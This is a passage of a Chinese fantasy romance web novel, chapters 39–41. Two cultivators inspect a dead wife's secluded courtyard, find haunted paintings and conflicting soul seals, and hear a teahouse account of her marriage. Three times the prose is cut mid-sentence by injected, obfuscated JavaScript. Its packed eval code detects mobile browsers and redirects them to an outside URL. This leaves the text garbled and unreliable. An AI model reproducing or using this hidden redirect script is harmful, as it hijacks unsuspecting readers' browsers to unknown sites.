叶清圆蓦地抬起头,一瞬睁大的双眼暴露了她的惊慌无措:“……没什么呀,怕你误会而已。” 谢尽芜垂眼望她,神情认真:“误会什么?” “……”叶清圆的脸颊攀上热度,顿了一会,摆手道,“没什么,你就当我刚才什么都没有说。” 谢尽芜的眉心微蹙,对她的敷衍、退缩的态度感到不悦。 “我们快去竹林吧,”她也不管谢尽芜,扭头就走,“速战速决。” “嗯。” 谢尽芜的视线落在她离开时清瘦的身影。 他垂下眼睫,若有所思。 39. 渡真 竹林深处的院落,虽地处偏僻,无人来往,却也颇有生活气息。可见此处虽常年别冷落,却始终有人悉心打理、照顾,才不至于荒废。 叶清圆和谢尽芜沿着砖道一路往深处走去,竹林掩映的尽头,现出房檐的翘脚来。 廊檐下悬了青铜的铃铛,长长的一串,底下缀着正红的流苏,被暴雨淋湿了,红得便愈发深刻。 屋前放了一只大水缸,水面飘着碗莲,莲叶下不时游过手指大小的锦鲤。 雨后宅院,意趣横生。 “你看,那边竹竿上搭的衫子都淋湿了,却也没有人来收。” 叶清圆的视线扫过院落,小声道:“奇怪,这么大的院子,只有小彤一个人居住吗?” “咦,那是什么?” 谢尽芜顺着她的所指看去,暴雨将廊檐下的一丛绣球花冲洗得东倒西歪,显露出了繁花丛中的一块石碑。 石碑上以楷书刻了四个小字:“灵魂永锢。” 下方则是繁复的符文。 “……真狠啊。”叶清圆皱眉道,“莫夫人到底怎么他们了,竟被如此对待。” “这道石碑没有任何灵力,故弄玄虚而已。”谢尽芜的眉心轻蹙,径直朝着屋门走去,“进去看看。” 屋门年久失修,随着推开的动作发出“吱呀”一声。 骤雨方歇,天色仍旧阴沉。屋内并未点灯,光线昏暗沉闷。空气中浮动着腐朽的味道,压抑得叫人喘不过气。 屋内的摆设很简朴,除却生活必须的桌椅条几之外,不曾有任何装饰。偌大的房间,唯有一道楠木架子的花雀屏风将里外隔开。 屏风的那边,隐约可见一簇沉霭似的轻烟袅袅上升,一阵清冷的檀香缓缓渡过来。 难以想象,这位莫夫人是生前就简朴惯了,还是去世之后,潘府的人将她的宅院拆成这副模样。 不过,纵使莫夫人已经亡故,也是潘府淳玉的正室夫人。她所居住的院落,又为何受到如此冷落? 谢尽芜的关注点却不在此,从进屋以来,他的眉心始终轻蹙,不曾舒展半分。 “我们去屏风后看看?”叶清圆缺乏经验,也瞧不出什么不妥之处,于是乖乖地跟在他的身后。 谢尽芜轻轻颔首。二人绕过屏风,还未看清眼前的景象,脚步却不由得顿住了。 屋内光线黯淡,一派破旧简陋之意。然而,正对着屏风的那面墙壁上,竟是悬挂了一副巨大的画像。 这画像足有六尺多高,画中是一名身穿水蓝长裙的女子,粉颈微垂,明眸善睐,顾盼神飞。她的手中捧着一簇盛放的绣球花,花瓣与披帛缠绕、勾连,晕染出大片的粉蓝色。一眼望去,灿若星辰泼洒。 这幅画不知用何种矿石颜料上色,纵使悬挂在昏暗的屏风后,仍有光华隐隐流转。 叶清圆被震撼得一时说不出话,半晌后,才喃喃道:“这是……绘弦?” 画中那女子无论是身形相貌、还是神态举止,竟都与绘弦有七八分相似。 她走近去,视线一寸寸移过那张熟悉的脸容,突然觉得毛骨悚然:“难道那天鉴花楼众宾客们口中所讲的莫夫人,竟是绘弦吗?” 谢尽芜完全不记得绘弦是什么样貌,沉思一瞬后,淡声推测道:“莫夫人早在去年冬天就因病亡故了,而绘弦姑娘上个月还在鉴花楼。时间对不上。” “你说,有没有一种可能——”叶清圆靠近他身旁,小声道,“莫夫人是假死呢?绘弦只是她的另一个身份?” “胡思乱想。”谢尽芜微不可察地蹙眉。 叶清圆叹了一口气:“世上怎么会有人如此相像呢?” 纵使是一母同胞的亲姐妹,纵使是相貌生得外人难以辨清,可每个人的神态、举止也总有细微的差别。 可画中这女子,真就和绘弦像到了难分彼此的程度。 谢尽芜的视线落在画中人的脸上。片刻后,他低声问:“绘弦姑娘的眼尾,可有一粒小痣?” 叶清圆认真回想,摇头道:“没有。我看得很清楚,她脸上的皮肤特别好,干净得像雪。” “那么,这画中之人就不是绘弦姑娘了,而是莫夫人。”谢尽芜伸出手指,朝着那画中人的眼尾隔空一点,“这一粒痣,墨迹比别处要新很多,是后来才点上的。” 叶清圆走近去看,果真在眼尾处发现了米粒大小的痣。 这一粒痣,冲淡了画中女子脸上的清贵优雅之气,反倒给她平添几分凄婉悲悯。 “至于为何要补上这一点,或许是为了区分她们二人。”谢尽芜又道,“又或许……你看,下笔之人腕力不足,墨迹凌乱,想必是心中怀恨。她应该是莫夫人的身边人,对这副画像一开始的模样感到不满意,才自作主张添了这一笔。” 叶清圆听明白了:“小彤?” 谢尽芜颔首:“很有可能。” 潘淳玉始终在强调他有多么深爱这位已故的莫夫人,满院都栽种了她喜爱的蓝绣球。可是对于她从前所居住的院落,还有她的贴身侍女小彤,却是极尽冷落。 连府里的丫鬟都晓得,小彤是不准出竹林宅院的。她若犯了过错,向来是从重处罚,罚跪好几个时辰都算是稀松平常的事。 若潘淳玉果真深爱莫夫人,怎么会对她的丫鬟如此苛待? 绘弦也曾是潘淳玉的“至交好友”,她与莫夫人的样貌如此相似,是巧合,还是潘淳玉有意为之? 莫夫人的“病故”,究竟是否为真?城中百姓对于莫夫人死因的猜测,或许并不是空穴来风。 “奇怪,奇怪,现在的情况真是愈发乱了。”叶清圆觉得脑子都快炸了,“潘府到底有多少事瞒着我们?” 谢尽芜始终冷静,眼眸冷如深泉:“这幅画上有法印。” 在他的话音落下的一瞬,叶清圆抬眼看去,脑海中顿时一阵嗡鸣。 那薄薄的画纸上,竟缓慢地渗出了殷红的血! 血迹浓到穿透了画纸,染红画中女子的脸容和脖颈,将她姣好的面容抹成一片惊悚的深红。 鲜血流淌,如火燎原般吞噬了粉蓝色的绣球花,滴落在下头的檀木几案,发出沉闷的滴答声。 浓重的血腥气霎时充斥了狭小的空间,叶清圆被熏得快要干呕。粉蓝色的绣球花瓣从花枝上脱落飘零,飞出陈旧的画卷,裹挟着血腥气一股脑地扑向她,叶清圆连忙抬袖捂住口鼻,退后小半步。 却仍旧防备不及,一片花瓣莹蓝如星,扑到她的额心,宛如冰雪般冰凉的触感。 叶清圆的灵台顿时清明。她忽然心有所感,抬头望去,那画卷上的莫婉婉唇角含笑,眼帘掀起,一双琉璃般柔和的眼眸亮起,竟是直勾勾盯住了她! “啊!”叶清圆吓得险些跳起来,迅速躲在了谢尽芜的身后,拽住他的袖子,惊惶道,“闹鬼了!莫婉婉在对我笑!” 谢尽芜轻描淡写地看她一眼,走上前去,修长的指节捏住了画纸的一角,指尖灵力萦绕。 霎时,满纸泼墨般的血迹破碎四散! 充斥鼻腔的血腥味当即消散,叶清圆后知后觉地意识到,方才只是她的幻觉而已。 谢尽芜的视线落在她紧抓住自己的手上。她察觉到了,连忙松开手,有些难为情地抿唇笑了一下。 谢尽芜的手指挑开画卷。与此同时,在画卷之后的墙壁上,竟又浮现出一幅画来。 手腕翻动,将悬在墙面的整幅画卷掀开来。 谢尽芜只看了一眼,冷笑道:“这幅莫夫人的画像只是障眼法,真正的画在这里。” 叶清圆走到他身旁,那墙壁上隐现的画卷,竟是以“连环画”的方式,描绘了四个不同的场景。 她驻足细看。右起第一幅画,描述的是一个清辉泼洒的雪夜。 一名衣袂飘飞的年轻道人端立在河畔的红梅树下。漫天碎雪簌簌,他穿一身泼墨山水纹的道袍,发束高冠,臂挽拂尘,腰间系穗垂挂玉环,周身笼罩着一种视天地为无物的冷然傲气。 画中题字:“少年听雨歌楼上。” “作画之人必定是对这位道人极为……熟悉,甚至心有好感,寥寥几笔,便画出了他的出尘气质。” 叶清圆心里总觉得异样,却一时想不出异样在哪里。 她的视线重新落在那句诗上,不由得疑惑道:“奇怪,分明是下雪的天气,为何要写雨呢?” 谢尽芜的眉心蹙起,眸中也显出疑惑。 “难道是有什么特别的含意吗?”叶清圆歪着脑袋,细细想道,“莫非是这位道人的名号,暗合了这一句诗吗?” 无论怎样,在侯爵府少夫人的宅院里,出现了年轻道人的画像,总归不是一件光彩的事。 “这个字体有些眼熟,仿佛在哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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额头薄汗密布,泛红的眼眸中显出狠戾之色,他咬牙切齿道:“婉婉,你终于肯找我报仇了么?” 粗糙的指腹捏住一封泛黄的纸张,拇指按在那一笔簪花小楷上,潘淳玉恨得手背上青筋毕露:“就因为那个宋雨阁?!” 他的眼眸中升腾起水雾。极致的痛楚叫他一时分不清回忆和现实,恍惚中看到一张满是恨意的决绝面容。 “你就这么恨我?”潘淳玉闭上眼睛,一张英俊的面容上悲怒交加。 “恨到连死了都不肯放过我?” - “宋雨阁?”叶清圆睁大双眼,“竟然是渡真世家的人,那他和顾雪庭是什么关系?” 谢尽芜的眉眼压低,眸中涌动着一种困惑:“我不确定该如何描述他们之间的关系。” “渡真世家现今的家主,名为顾九枝。”他的声音淡淡,“而宋雨阁,是她的师弟。” 叶清圆对此有点印象。原书中,顾九枝是四大世家里唯一的一位女性家主。传言她性情淡漠,手段狠戾,自小就显露出难得的天赋,被族中长辈当做家主继承人来培养。 她坐上家主之位后,更是事事以家族的清誉和利益为先,不容半点私情。 唯独宋雨阁是例外。 或许是念及师门情谊,顾九枝对于宋雨阁总是格外温和些。 “那顾雪庭呢?”她轻声问。 谢尽芜斟酌着措辞:“据顾九枝所说,也是师弟。” 他说得保守,叶清圆立刻听出了弦外之意。 谢尽芜从不会相信捕风捉影的话,更不屑于去臆测旁人之事。他这句话说得这么谨慎委婉,说明顾雪庭的真实身份其实是有疑点的。 “你觉得呢?”叶清圆轻声问。 “顾雪庭的来历不明,”谢尽芜的声音淡淡,“依照渡真世家对外的说法,他自从拜入师门之后就一直在冽雪山谷清修。十五年前冽雪山地气失衡,妖鬼作乱,顾九枝带领渡真子弟封印了冽雪山谷,也趁势带回了顾雪庭。” “顾九枝把顾雪庭带回了渡真世家,叫他在神龛殿内跪了三天,算是拜过列位祖师。之后,不知顾雪庭犯了什么错,竟被逐出了渡真世家。” 叶清圆大概猜到了后续的发展:“再后来,顾雪庭以书画谋生,没过多久就名声大噪,成为了皇城内首屈一指的画师。” 谢尽芜很轻地“嗯”了一声。 “顾雪庭和宋雨阁相识多年。”叶清圆沿着他的思路推断下去,“既然潘府的事情牵扯到了宋雨阁,那么顾雪庭来此,或许也与他有关?” 谢尽芜颔首道:“或许。” 叶清圆点点头,视线落在第二幅图上。 40. 绣球 第二幅图描绘的依旧是宋雨阁。这次他的形象不再冷傲,倒是温和柔软了许多。 他端坐在长亭的檐下,头颅微低,乌黑的冠带随风飘飞,泼墨山水的长袖里竟兜着几只橘子,拂尘随意搁在一旁。 他的唇角含笑,周身漂浮着无数细小的荧光绿点。 在宋雨阁的身旁,坐着一名身材娇小的姑娘。这姑娘头梳云髻,身穿襦裙,怀中捧着一束蓝色的绣球花,两条腿在裙下悠闲地荡来荡去。 极简约的线条勾勒出二人的神态,慵懒闲适,眉眼温和。 “是萤火虫吗?夏天到了呀。”叶清圆被画中人的情意感染,也忍不住微笑起来,“这位姑娘想必就是莫婉婉了。” “这不是萤火虫,倒像是磷火。” “咦?是吗?”叶清圆凑近一瞧,坦诚道,“我认不出。” “继续看吧。”谢尽芜轻声道。 第三幅图的场景就变成了漫天花雨笼罩下的潘府。这一日,潘府二少爷潘淳玉成婚大喜,府前围满了看热闹讨彩头的百姓。骑着高头大马的随行侍卫击鼓开道,熙攘的人群自觉避让至道旁。 在这样鼎沸的欢笑声中,一顶正红的喜轿落在了府前的青石砖道上。 轿身前倾,前帘挑起,轿内光线昏暗,隐约针脚细密的裙摆与禁步。染了丹寇的手指搁在腹部,恰好压住霞帔的中段。 围观百姓忍不住踮脚伸颈,想要一睹新娘子的芳容。 在这些笑容满面的人群当中,却有一人始终缄默,沉静的视线并未落在喜轿里的莫婉婉身上,而是望向了马背上意气风发的潘淳玉。 此人身披道袍,臂挽拂尘,正是宋雨阁。 潘府内外,粉蓝色的绣球花开得连绵起伏,仿佛永远也没有尽头。 第四幅画的场景是在一个长亭中,宋雨阁的心口被捅了个对穿,半个身子被血染透。他半跪在地上,鲜血迸射,朱红的亭柱和石桌皆被染了红。 亭外一人脸颊染血,衣衫褴褛,竟是莫婉婉。 看到这一幅图时,叶清圆的心口仿佛被一只大锤重击,心底泛出莫名的悲伤和痛苦。 她怔在原地。漫天碎雪簌簌、夏夜的磷火、连绵的绣球花、长亭里的血迹……无数细枝末节的线索在她的脑海中串连成线。 她脱口而出:“碎雪障目,青燐挽风;婆娑花影,血染长亭。” 谢尽芜垂下眼睫,眼眸中闪过一丝疑惑。 叶清圆扬起脸:“是绘弦姑娘告诉我的。她说她醒来以后,脑海中就凭空出现了这一句话。” “她被人利用了。”谢尽芜淡声道。 叶清圆觉得心口好像被锤了一榔头,闷痛得很,简直要感同身受了,“绘弦和莫婉婉究竟是什么关系?” 谢尽芜对于爱恨纠葛知之甚少,此时也只能无奈摇头。 “我觉得他们四个的关系好混乱,疑点太多了,以至于我都不知该如何进行下去。”叶清圆苦着一张脸,“你有什么头绪吗?” 她扬起脸,望进谢尽芜那双殷润黑亮的眼眸中。 他天生眉骨轮廓深刻,眉眼压得低,此刻漠无表情看人的时候,便尤显得阴郁厌烦,不近人情。 在原书中,每当谢尽芜这样垂眼看人的时候,对方都会被他眼中的压迫感镇住。可此刻叶清圆认真与他对视的时候,却忍不住想微笑。 或许是她逐渐摸清了谢尽芜的性情脾气,也或许是他的屡次纵容叫她愈发胆大包天。 她其实有仔细想过这个问题,他这张清隽贵气的少年相貌,果真就有刽子手那般的震慑力吗?未必见得,原书角色对他的惧怕与憎恨,归根结底不过是被他复仇时的阴狠手段吓住了。 包括叶清圆自己,一开始不也是被原书里凶狠残忍的谢尽芜唬住,从而先入为主了? 其实相处下来,也没这么可怕嘛。 谢尽芜居高临下地看她,淡声道:“我对这种事,没有兴趣。” “哦?” 叶清圆逼近他,上挑的眼尾堆着狡黠的笑意,不依不饶道:“谢尽芜,关于侯爵府的内中纠葛,你是不是有什么事没告诉我?” 谢尽芜撇过脸去,冷硬道:“没有。” “哦,那你真的对这种事一窍不通吗?”叶清圆忽然转变话题,轻声问。 一个明节知礼、相貌清隽的少年,一个在修界孤身摸索挣扎了十几年的人,会完全不懂情爱之事吗? 这种涉及隐私的话题,对谢尽芜而言,已经是极为嚣张的越界。 他皱起眉头,神情有些不悦。换做以往,他或许已经出手,永绝后患。 叶清圆清澈纯真的眼眸中,隐含点点期待。 谢尽芜沉默一瞬,反问道:“我为什么要懂这种事?” 叶清圆的眼眸中攒出一点笑意。她想:不仅没那么可怕,甚至有点别扭的可爱。 “遗憾啊,如果你深谙人心的话,或许能分析分析当下的情况呢?” 谢尽芜聪明冷静得过头,很快找准了她话里的漏洞,轻笑道:“你自己怎么不分析?该不会是你也不懂吧?” 叶清圆被问住了,找补道:“我……我想给你表现的机会,不行吗?” “行。”谢尽芜眼中笑意愈发深刻,薄红的嘴唇弯得明显,笑出了一口干净的白牙。 他就这么好整以暇地看着叶清圆嘴硬,眼中的笑意快要化为实物,落在叶清圆的脸上。 她恼羞成怒了,干脆伤敌一千自损八百:“我不懂又怎么啦?你呢,你比我大两岁,都没有和姑娘牵过手,我还要笑你呢!” “怎么就没牵过手?”被她这么一讲,谢尽芜也有些不悦,反唇相讥道,“你不是姑娘吗?” 话音落下,两人俱是一怔。 谢尽芜对他自己说出的话都感到惊讶,双唇立刻紧闭,一副如临大敌的模样。 叶清圆更是懵得不知怎么办才好了。她睁大双眼,好半晌,才以一种不可置信的语气试探道:“你把那个……理解为牵手吗?不是说过了,那只是符纸不够用。” 谢尽芜冷着一张脸,点头道:“方才只是一时情急的玩笑话。你放心,我并未当真。” 算是解释。 叶清圆慢半拍地“哦”了一声,还想说什么,抬眼瞧见谢尽芜的脸色如此冷漠疏离,还是乖乖闭了嘴。 谢尽芜最讨厌别人越界,不论是言语还是行为。她可不要自作多情啊。 寂静温暖的室内,裹着雨后潮湿气息的冷风钻过门窗缝隙,绕过屏风。身后墙壁上大片粉蓝色的绣球花盛开。 心照不宣的沉默,空气中浮动的些许暧昧,在二人之间弥漫开来。 恰在此时,一阵冷风骤然扑进屋内,紧阖的直棂窗被吹得大开。 木窗狠狠撞在墙壁上,又“哐啷!”一声弹了回去,年久失修的窗轴转动,发出吱呀声响。 叶清圆吓了一跳,猝不及防向他身后躲了一步。 谢尽芜看她一眼,眼中流露出他自己都不曾察觉的关怀。 他迅速走过去关窗,头也不回道:“无妨,一阵风而已。” 这一阵风来得真是及时,叫他们都松了一口气。 谢尽芜生怕再僵持下去,事态会朝着不可控的方向狂奔而去。他的视线落在木窗,勉力转移话题。 他本就不擅长闲聊,此刻心绪纷乱,一番话竟说得颠三倒四,明摆着的欲盖弥彰:“你不必担心。刚来到这里的时候,我已经察看过周遭情况,这处院落无非是法印多了些,偏僻破败了些,却没什么危险的。刚才那只是一阵风,没什么的,你不要怕。” 叶清圆很慢地点头:“好。” 忽然,谢尽芜的视线落在窗棂的边缘,不知看到了什么,动作一顿。 “怎么了?”叶清圆深吸一口气,走到窗边,讶异道,“这是……钉子坑吗?” 那木窗的四周边框,竟是遍布了密密麻麻的小坑。窗框的顶部,竟还有残存的半截铁钉。 这铁钉早已生锈、变形,不知是多久之前钉在此处的。 “好好的直棂窗,怎么会有铁钉?难道是窗子坏了吗?”叶清圆随即否定,“纵使是坏了,也不会留下这么多铁钉的坑。真不知道潘府的人在搞什么。” “这里曾经被设过阵法。” 叶清圆无语道:阵法,又是阵法。小小的竹林宅院,还真是精彩啊。 谢尽芜抬起手掌,掌心朝下按在被雨淋湿的窗台。 一阵细微的光芒闪烁,法印逐渐显形。 冷风吹动他鬓边的碎发,谢尽芜浓睫低垂,视线落在掌心按住的地方。 一道极为浅淡的红光溢散出来。只一瞬间,他的神情变得极为冷肃。 他抬起袖,手腕抵住叶清圆的肩头,直接将她推出了半步之外! 叶清圆猝不及防被他推了一把,以免摔倒,她下意识就抓住了他的手腕:“怎么了,怎么了?” 只见那深棕色的木框上,竟是显现出一道形状极为奇怪的法印。 叶清圆不认得这种法印,慌张道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445952|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是什么?” 谢尽芜的眼睫低垂,幽邃漠然的瞳孔中闪过一丝寒光:“叫人三魂、七魄皆散尽,再也无法凝聚成魂。” “什么?!”叶清圆吓得眼睛睁大了,慌忙拉住谢尽芜的手臂往旁边躲,“那还愣着干什么,快走呀!” 她焦急起来,一时卯足了力气。饶是谢尽芜这般劲瘦有力的少年体格,都被她扯得踉跄一下。 “……”他反手握住她的手腕,“不用慌,法印早已失去效用了。” 叶清圆惊魂未定,抱着他的胳膊骂道:“那你刚才猛地推我干什么?吓死我了!” 谢尽芜的嘴唇微抿了一下:“……抱歉。” 叶清圆松开手,压抑着胸中剧烈的心跳,“所以莫婉婉的宅院里怎么会有这种法印,这也太过狠毒了!她究竟犯了什么过错,至于下这种死手?又是魂魄永锢,又是魂飞魄散。” 她话说出口,忽地一顿,察觉出不对劲来。 这两种法印,竟是互相矛盾的。 “这是两拨人设下的法印。”谢尽芜的目光在法印上停留了两秒,“看来潘府对于莫夫人的事有所分歧。” 叶清圆轻哼道:“不管怎么样,都不想叫莫婉婉好受罢了。” 灵魂永锢和魂飞魄散相比,倒真是比不出哪个更残忍。 谢尽芜摇摇头,懒得去深究这些情爱纠葛,迈步向外走去:“走吧。” - 离开潘府的时候,叶清圆从荷包里取出最后一张穿山透壁符。 谢尽芜站在她身后,看见她以手指将符纸点在墙壁上。 他的视线落在她细嫩白皙的手指,莫名觉得掌心有些痒。 雨后的微风穿过浓阴的竹林,竹枝相撞,发出簌簌的声响。竹叶上的雨水滑落,滴落在青砖上的水洼里,砸出清脆的响动。 他轻声问:“这次也不算吗?” 叶清圆回过头:“什么?” 谢尽芜没有做声,视线下移,落在她的手上。她立刻明白了:“当然不算啦。” “……嗯。” 谢尽芜跟在她身后,浓睫低垂,宛如被定格般纹丝不动。 叶清圆无比自然地拉过他的手。女孩子柔若无骨的手瞬时盈满他的手心,谢尽芜的神思有一瞬的怔然,就好像抓住了一团温暖柔软的月影,这一刻紧密无缝地贴合着他,下一瞬就会如云翳流水般消逝。 然后她还要冰冷地告诉他:“这不算牵手。” 叶清圆的指尖点住符纸,法诀到了嘴边,却又咽下去了。 她蓦地回过身,眉眼含笑。 谢尽芜猛然回神,脊背僵直,睁大的双眼中倒映出叶清圆的一张笑脸。 他盯着叶清圆的脸,她的笑容太过明艳,叫他一时不敢对视。他的眼睫垂下三分,又暗自鼓足勇气,抬起眼帘,望进那双端丽的眼眸中。 哪有男子想去牵姑娘家手的?无礼至极。 他牵不到,却又会感到失落。谢尽芜生平十几年杀伐决断、冷傲待人,却不曾遇到这种缥缈、懵懂的烦恼,猜不透,读不懂,他只好连自己的心思都唾弃。 无妨,他已经做好被她嘲讽的准备了。 叶清圆脸上的笑意愈发深刻,挨过来的小脸在他的眼中一点点放大。 她轻声和他开玩笑,语气含着隐隐的期待:“还是你希望这次算呢?” 她呼出的热气带着茉莉的清香,谢尽芜犹如被当头一棒,猝不及防地后退一步。 他像是个被戳破了隐秘心事的青涩少年,一张清隽的脸上,惊讶、羞愧、愠怒的神色交错。 雨后湿润清冷的风缓慢吹送,竹叶飘飞,他端然立在竹林里,阶庭兰玉,凤仪秀挺,一派端方冷静的君子模样,心里却乱出一阵兵荒马乱、烽火连天。 叶清圆没有得到他的回应,也不失落,她轻笑道:“不算就不算,谢公子是君子呢,才不会开这种玩笑。我们走吧。” 真是贴心,连台阶都替他架好了。 谢尽芜眼中光芒闪动了一瞬,他回握住了她的手,净白修长的手指快要把她的手全部包裹住。 叶清圆察觉到他的力度,下意识地偏了偏头,二人的目光仓促间撞到了一起。 短暂的对视之后,却又心照不宣地彼此避开。 她的鼻子翘翘的,眼睫轻颤。鬓发间的宝钿与碎金簪随动作发出轻响,一漾一漾,像是清辉泼洒在涟漪柔和的千花河水面。 稀薄的日光被繁密的枝叶筛过,青砖地上纹理深刻,竹叶飘零。 41. 私奔 “二位客官,可是从潘府回来?” 茶博士小心翼翼地觑着二人的脸色。 刚回到客栈,他就忙不迭迎了上来,殷勤地奉茶添水。待伺候他们入座之后,才擦了擦手,一副欲言又止的模样。 叶清圆颔首,笑吟吟道:“你如何得知?” “嗨!”茶博士见她没半点不悦的神色,胆子也当即大了起来,“潘府祁管事方才亲自来请的二位,半条巷子的百姓都瞧见啦。” 他有点不好意思地摸了摸头:“并非我们故意打听二位的行踪,实在是那时外头下着大雨,大伙没什么事可做。” 况且,祁仕业在巷子里慌里慌张嚎的那一嗓子,谁听不见? 叶清圆抿了一口茶:“你们都认识侯爵府的祁管事呀?” “侯爵府的管事自然也是金尊玉贵的人。我们这些生意人,做的都是小本买卖罢了。纵使有天大的福气,也攀不上侯爵府的交情啊。” 茶博士压低了声音,笑道:“不过因去年莫夫人随宋雨阁道长外出云游一事,乃是祁管事亲自策马护送出城。那时我们也只遥遥看过一眼而已。如今哪,金璧城还有谁不识得他呢!” “外出云游?”叶清圆听到这里,脸上的笑容顿时消失了。 她又重复一遍:“你是说,莫夫人和宋雨阁外出云游吗?” “是啊!”茶博士点点头,“莫非姑娘……不知道?” 叶清圆一脸难以置信:“你没记错吗?她可是侯爵府潘二公子的结发妻子,怎么会和道士走呢……” 她话留三分,侯爵府好歹也是金璧城有头有脸的人家,潘淳玉也是出了名的霸道蛮横,怎会容忍成婚不过半年的妻子,去和一个道士外出云游呢? 这若是叫别人知晓,可不得笑话死? 茶博士看出她的疑惑,小声道:“小的亲眼所见呢。祁管事亲自骑马护送他们出的城门。只不过潘府也是有意隐瞒此事,特意选了个天不亮的时候送人。事后却又对外宣称,莫夫人缠绵病榻许久,不幸病故。” 叶清圆听得脑仁一阵发疼。潘府这点事到底有多少说法?多少版本?究竟什么才是真相? 她敲了敲系统:“系统,金璧城副本的剧情走向与原书有差别吗?是不是改线了?” 系统语气淡然:“【魂断金璧城】副本剧情走向始终与原书保持一致,不存在任何出入。请宿主放心。” 那就奇怪了。无论是坊间传闻,还是潘府对外欲盖弥彰的说法,都与竹林小院中画卷所述的内容相悖。 叶清圆越想越觉得烦闷,只悔恨自己当初看书时非要跳过剧情线,只关注江云初和许明竹的爱恨拉扯。 茶博士一脸惋惜:“只可怜了潘二爷!堂堂侯爵府的小少爷,竟能忍痛割爱至此,眼睁睁看着心爱的姑娘和别人远走高飞。” 他叹息一声:“事后还替他二人打掩护,不许任何人提起此事,可算给足了他们面子。怪不得大家伙都说,潘二爷平日里虽有些脾气,可终归是自小被纵容过了头,难免的任性些。经此一事,倒是不难瞧出,他称得上胸襟开阔的体面人。” 叶清圆忍不住腹诽道:倘若莫婉婉真与宋雨阁相爱至此,又何必嫁给潘淳玉为妻?至于叫他从中充当好人,来一招“忍痛割爱”吗? 潘淳玉真就这么无辜? 对坐的谢尽芜始终垂着眼帘,一副事不关己的模样。难说他是不认同茶博士的话,还是根本漠不关心。 叶清圆又问:“莫夫人既然与宋雨阁真心相爱,当初何必嫁给潘二公子?” “这还用说?自然是贪图潘府的荣华富贵了!” 外头雨势缠绵不停,说话的功夫,隆隆水声砸在外头的青石砖上,响声震耳欲聋。 茶博士将客栈的木窗关严实了,窗外急雨激打在芭蕉叶的声响被隔绝在外。 今天雨势太大,店里本没有什么客人,他便乐得清闲,找了个适当的位子,煞有介事地讲起来。 “二位可知晓莫婉婉出身如何?她父亲不过是一个地方出身的六品官,却能以赈灾名义上下勾结、折收监粮几十万两,触怒朝廷。朝廷钦点了比部官员前往查案、处决。罪证落实,一夜之间,莫府上下十几口人,命丧黄泉。” “恰巧,查封莫府的那一天,潘小侯爷也在场。”茶博士细细道,“据说,他那时不过是心血来潮,想看个热闹而已。谁曾想,潘小侯爷一只脚踏进莫府的大门,莫家老太太慧眼如炬,立刻看出他并非查案的官员,当即跪地哐哐磕了三个响头,求他无论如何也要救莫婉婉一命。” 叶清圆听得入神:“然后呢?” “潘小侯爷当场就被这架势惊住了,还没来得及思索,嘴巴比脑子快,稀里糊涂竟就说了声好。” 茶博士摇头轻笑,显然对潘淳玉的行径很是赞赏,“那时的莫婉婉也才十二岁吧,站在潘小侯爷身边嘛,俩人倒像是兄妹。” 叶清圆不太清楚原书的设定:“若是潘二公子选择不救,会怎么样呢?莫婉婉的父亲贪污,总不能把她也处决了吧?” “姑娘有所不知,若潘小侯爷不救人,莫婉婉就只有沦为娼妓的下场。”茶博士道,“这样,更是生不如死。” 叶清圆点点头。 “他与那些查案的官员都是旧识了。保下一个小姑娘的命,也不过说句话的事。”茶博士继续道,“后来呢,他却不知该如何处置莫婉婉了,干脆将人带回了潘府,想当妹妹似的养着。” 却不知,潘淳玉刚在花厅坐下,还没来得及喝口茶水。崔老夫人听说消息后,就带着人从后宅杀了过来,毫不留情一巴掌拍在他后背上,差点没把他拍得呛死。 崔老夫人指着他的鼻子就骂:“这么大个姑娘,你一个独身男子竟就敢往府里带,传出去叫别人怎么看待?她是我们潘府的小童养媳吗?还是你自己从外头买了个通房丫鬟?啊?你也不怕外头人看我们笑话!” “我根本没有这个意思,”潘淳玉被她骂得一愣,“我认她作妹妹不好吗?” “胡闹!这样没来由的东西也说是你的妹妹,说出去谁会信?”崔老夫人深呼一口气,不耐烦道,“趁这件事还没多少人知晓,你赶紧想办法把她打发出去!不要丢侯爵府的脸。” 潘淳玉被她指责了半天,火气也有些上来了,低声道:“我在外头给她置办个宅子就是。她这个年纪应当念书,要不把她送到私塾里去。” 崔老夫人俯下身与他对视,冷笑道:“置办宅院?你真当是在养外室?” 她直起身,压着眉头思索一瞬:“就说她是祁管事的远方亲戚,家里闹了灾,走投无路才来投奔的。叫她跟着祁管事夫妻俩住去,认他们做个义父义母,平日里没有通传不许进潘府。” 潘淳玉皱起眉:“娘。” “罪臣之女,有她一口饭吃就不错了,还妄想什么!”崔老夫人冷哼一声,也不知是单纯地说莫婉婉,还是在提点潘淳玉。 半晌,她放缓了语气,耐心劝解道:“淳儿,娘知道你是好心,但是天底下的可怜人多了去了,难道你要挨个去可怜他们、照顾他们吗?” “爹娘给你挣下来这么大的功勋、家业,是为了叫你去接济那种人的吗?” 潘淳玉的眉头拧起:“我承诺过她的祖母,要照顾好她。” “承诺?”崔老夫人嗤笑一声,嘲讽他的天真,“淳儿,你何必与一个死人较真?” 茶博士说到此处,脸色也复杂起来,勉强道:“虽说有点不近人情,可崔老夫人那样的官宦人家出身,是该考虑得周全些。” 叶清圆不置可否,眨了眨眼:“后来呢,他们相识六年,或许会日久生情?” “莫婉婉心里怎么想的,我们都不知。”茶博士莞尔,“不过,潘小侯爷对她可谓是一片痴心。不夸张地讲,潘小侯爷那时的相貌可谓是丰神俊朗、英挺周正,半个金璧城的姑娘谈起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 